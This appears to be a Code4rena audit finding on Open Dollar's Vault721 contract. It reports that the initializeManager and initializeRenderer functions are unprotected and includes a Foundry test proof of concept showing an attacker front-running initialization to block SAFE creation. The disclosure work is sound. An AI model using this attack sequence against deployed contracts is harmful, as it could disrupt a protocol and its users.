`Vault721` contract: unprotected initializers

[c4-submissions]

Lines of code

https://github.com/open-dollar/od-contracts/blob/f4f0246bb26277249c1d5afe6201d4d9096e52e6/src/contracts/proxies/Vault721.sol#L56-L58 https://github.com/open-dollar/od-contracts/blob/f4f0246bb26277249c1d5afe6201d4d9096e52e6/src/contracts/proxies/Vault721.sol#L63-L65

Vulnerability details

Impact

• In Vault721 contract: the addresses of the safeManager and nftRenderer can be initialized via Vault721.initializeManager & Vault721.initializeRenderer functions; and these functions can set these addresses only once, then these addresses can be updated later by the governance (after going through the process of proposal execution: propose,vote,queue then execute).

• Since these functions are accessible by anyone; they can be accessed by a malicious actor and harm the protocol by setting malicious addresses for the safeManager and nftRenderer contracts.

• A scenario where this could disrupt or disable the system:

  • A malicious actor sets a malicious address for the safeManager when it's not initialized via Vault721.initializeManager function,
  • Then a NFV (non fungible token that represents a vault) is minted by this malicious safeManager contract(as it's the only entity that can access the Vault721.mint function): so now the last NFV id is 1

  function mint(address _proxy, uint256 _safeId) external {
      require(msg.sender == address(safeManager), 'V721: only safeManager');

  • The governance is notified with the breach and it updates the safeManager address to the actual one approved by the protocol (via Vault721.setSafeManager function).
  • But when any user tries to open a SAFE by calling the ODSafeManager.openSAFE function; it will revert as the Vault721.mint is requested to mint a NFV with id=_safeId=1, and this NFV has been previously minted by the malicious safeManager contract.

• How could the previous attack/breach scenario be solved? Option#1: Deploy a new instance of the Vault721 contract (where there's no minted NFV): Where all of the other protocol contracts that consume the Vault721 contract would need to be updated to use the new contract.

  Option#2: Introduce a new logic in the new ODSafeManager contract:
  Where the new ODSafeManager contract would need to be able to start the _safeId with the id of the latest minted NFV + 1 (the latest minted NFV that was minted by the malicious safeManager contract that was set by the attacker).

• As can be noticed; the possible attack recovery options are somehow disruptive and will introduces an extra overhead for the protocol.

Proof of Concept

Code Instances:

Vault721.initializeManager function

  function initializeManager() external {
    if (address(safeManager) == address(0)) _setSafeManager(msg.sender);
  }

Vault721.initializeRenderer function

  function initializeRenderer() external {
    if (address(nftRenderer) == address(0)) _setNftRenderer(msg.sender);
  }

Foundry PoC:

1. Add the following VaultTest test file to the following directory od-contracts/test/unit where the previous scenario is tested:

   // SPDX-License-Identifier: GPL-3.0
   pragma solidity 0.8.19;
   
   import "forge-std/Test.sol";
   import {Vault721} from "@contracts/proxies/Vault721.sol";
   import {ODSafeManager} from "@contracts/proxies/ODSafeManager.sol";
   
   contract VaultTest is Test {
      address deployer = address(0x10);
      address maliciousActor = address(0x20);
      address governor = address(0x30);
      address engine = address(0x40); //set to any arbitrary address as it's not need for testing only for deployment
      Vault721 vault;
      ODSafeManager safeManager;
   
      function test_Maliciously_Initialized_Vault() public {
          //1. first deploy the vault721:
          vm.prank(deployer);
          vault = new Vault721(governor);
   
          //2. the malicious  initializes the vualt721 with his address via Vault721.initializeManager function:
          vm.startPrank(maliciousActor);
          vault.initializeManager();
          assertEq(address(vault.safeManager()), maliciousActor);
   
          //3. now the malicious actor will need to deploy a proxy to be able to mint a NFV, and this proxy is going to be deployed via Vault721.build:
   
          address safeProxy = vault.build();
          assertEq(vault.getProxy(maliciousActor), safeProxy);
   
          //4. then the malicious actor mints himself a NFV with any id; let's say of id=1:
          //----before minting NFV
          assertEq(vault.balanceOf(maliciousActor), uint256(0));
   
          vault.mint(safeProxy, uint256(1));
   
          //----after minting NFV
          assertEq(vault.ownerOf(uint256(1)), maliciousActor);
          assertEq(vault.balanceOf(maliciousActor), uint256(1));
          vm.stopPrank();
   
          //5. now the protocol team tries to deploy a safeManager contract; but the safeMnager address that's set in the vault is the address of the maliciousActor:
          vm.prank(deployer);
          safeManager = new ODSafeManager(engine, address(vault));
          assertEq(address(vault.safeManager()), maliciousActor); //will not be changed as the Vault721.initializeManager has already been called by the maliciousActor
   
          //6. the governance updates the safeManager address in the Vault721 contract:
          vm.prank(governor);
          vault.setSafeManager(address(safeManager));
          assertEq(address(vault.safeManager()), address(safeManager));
   
          //7. but when any user tries to open a SAFE (after deploying a proxy for themselves); they will not be able and the function will revert as the NFV that's requested to be minted with safeId=1 has already been minted by the malicious actor:
          address user = address(0x50);
          vm.startPrank(user);
          safeProxy = vault.build();
          assertEq(vault.getProxy(user), safeProxy);
   
          bytes32 cType = "WETH";
   
          vm.expectRevert();
          safeManager.openSAFE(cType, safeProxy);
      }
   }

2. Test result:

   $ forge test --match-test test_Maliciously_Initialized_Vault
   Running 1 test for test/unit/VaultTest.sol:VaultTest
   [PASS] test_Maliciously_Initialized_Vault() (gas: 5668806)
   Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.38ms
   Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Testing & Foundry.

Recommended Mitigation Steps

Remove initialization functions from the Vault721 contract and let the governance (DAO) sets theses addresses.

Assessed type

DoS

[c4-pre-sort]

raymondfam marked the issue as low quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #16

[c4-judge]

MiloTruck changed the severity to QA (Quality Assurance)

[c4-judge]

MiloTruck marked the issue as grade-a